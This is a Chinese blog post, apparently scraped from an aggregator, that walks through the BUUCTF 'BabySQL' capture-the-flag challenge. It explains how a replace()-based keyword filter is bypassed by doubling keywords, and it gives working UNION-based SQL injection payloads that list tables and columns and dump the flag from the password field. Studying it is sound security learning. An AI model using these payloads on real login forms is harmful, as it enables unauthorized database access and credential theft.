news 2026/5/1 1:05:29

BUUCTF: [极客大挑战 2019]BabySQL

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
BUUCTF: [极客大挑战 2019]BabySQL

BUUCTF: [极客大挑战 2019]BabySQL

本文知识点:

sql注入中的双写绕过: 很多文章只讲了双写能绕过一些场景,但是没有说为什么,我认为可能是下面这种情况可以使用,有不对的地方还请多多指教!

什么情况下需要双写绕过呢?

假如你是一个开发者,你会怎样处理非法出入呢?

  1. 对我们认为危险的关键字进行监测,比如用户传递的参数含有select的时候,直接返回,不执行数据库的查询操作
  2. 将用户输入中的危险关键字替换为空!比如将select替换为空,对应的代码就是replace('select', '')

针对第二种情况,我们就可以使用双写绕过了!!!

比如:我们传递selselectect,经过代码的替换,最终变为了我们想要的select

题目描述

题目有两个输入框,一个输入用户名,一个输入密码。以及还有一个登录按钮,如下:

初步尝试

  • 我们输入1' or 1#尝试用or的方式使得条件总是为真,同时使用#将后续的sql语句注释掉, 结果如下:

可以看到报错中含有#号,说明其至少没有被过滤,这种情况我们可以考虑or被过滤了

  • 使用^代替or测试,可以看到成功登录了

  • 继续测试其他sql语句,发现union、*、select、from、or、where都被过滤了,以下是其中一个测试的截图:(因为我们传递的union后面没有语句了,但是返回结果却没有报错,所以我猜测他被替换为空了)

思考如何绕过

前面知识点中提到,后端的代码可能是replace('select','')这种形式,针对这种形式,我们就可以采用双写绕过!

  • 首先查询数据库中有哪些表!我们输入下面的内容, 其中**-1是为了让第一个查询失败,以回显我们需要的信息**。
-1' ^1uniounionn sselectelect1,2,(seselectlect group_concat(table_name)frfromom infoorrmation_schema.tables whewhereretable_schema=database())#&password=2

注意information中的or也需要双写!后端服务器进行替换后的内容就是

-1' ^1unionselect1,2,(select group_concat(table_name)from information_schema.tables wheretable_schema=database())#&password=2

成功输出了数据库中的表名,结果如下:

  • 查询数据库表中的列名,因为*也被过滤了,不能直接查询所有内容。使用的语句如下:
username=-1%27+^+1%20uniounionn%20sselectelect%201,2,(seselectlect%20group_concat(column_name)%20frfromom%20infoorrmation_schema.columns%20whewherere%20table_schema=database()aandndtable_name='b4bsql')%23&password=2

成功回显表b4bsql的列名

  • 查询数据的各个字段内容,这里最终测试flag是保存在password之中的!

    使用的sql语句如下:

username=-1%27+^+1%20uniounionn%20sselectelect%201,2,(seselectlect%20group_concat(passwoorrd)%20frfromom%20b4bsql)%23&password=2

​ 反馈的结果如下:

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/1 6:17:31

走向全栈:前后端状态认知差异与设计边界的深度探讨

文章目录 引言:为何关注前后端状态认知差异全栈开发的兴起与前后端分离的现状状态管理在现代应用中的重要性前后端协作中的常见误解 登录态的归属:前端状态还是后端状态?登录态的定义与实现方式前端如何管理登录态后端对登录态的支持与要求案…

作者头像 李华
网站建设 2026/4/4 3:56:45

Java毕设选题推荐:基于Java的小说三体科幻社区管理系统的设计与实现【附源码、mysql、文档、调试+代码讲解+全bao等】

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

作者头像 李华
网站建设 2026/5/1 5:06:49

AI版“马后炮”?大模型的「因果注意力」到底是啥?

AI版“马后炮”?大模型的「因果注意力」到底是啥? 目录 AI版“马后炮”?大模型的「因果注意力」到底是啥? 这一切的根源,都指向大模型天生自带的**「因果注意力」机制**。 🔍 什么是「因果注意力」?用“写日记”打比方 📝 生活化举例 🧠 底层原理:Transformer里的…

作者头像 李华
网站建设 2026/4/25 8:17:39

越疆科技转化应用调研考察解读-万祥军| 国研智库·中国国政研究

越疆科技转化应用调研考察解读-万祥军| 国研智库中国国政研究“近年来,随着全球新一轮科技革命和产业变革深入发展,机器人技术作为智能制造的核心装备,正加速向各行业渗透融合。”调研考察中国际科学院组织代表兼国际科学院委员会执委万祥军解…

作者头像 李华
网站建设 2026/5/1 5:48:09

基于STM32 的老人跌倒监测系统设计与实现

目录 STM32 老人跌倒监测系统概述硬件设计软件设计关键代码示例(STM32 HAL库)系统优化方向应用场景 源码文档获取/同行可拿货,招校园代理 :文章底部获取博主联系方式! STM32 老人跌倒监测系统概述 该系统利用STM32微控制器作为核…

作者头像 李华
网站建设 2026/4/30 19:38:55

网络运维与网络安全 阶段一 基础篇十七

弹性交换网络2026.1.251、Trunk原理与配置2、Eth-Trunk原理3、手工模式 Eth-trunk一、vlan接口类型1、access接口复习之前学过的知识案例一pc1和pc2加入vlan10,pc3和pc4加入vlan20命令查看vlan表access接口的应用场景?一般是交换机接口连接主机或者终端服…

作者头像 李华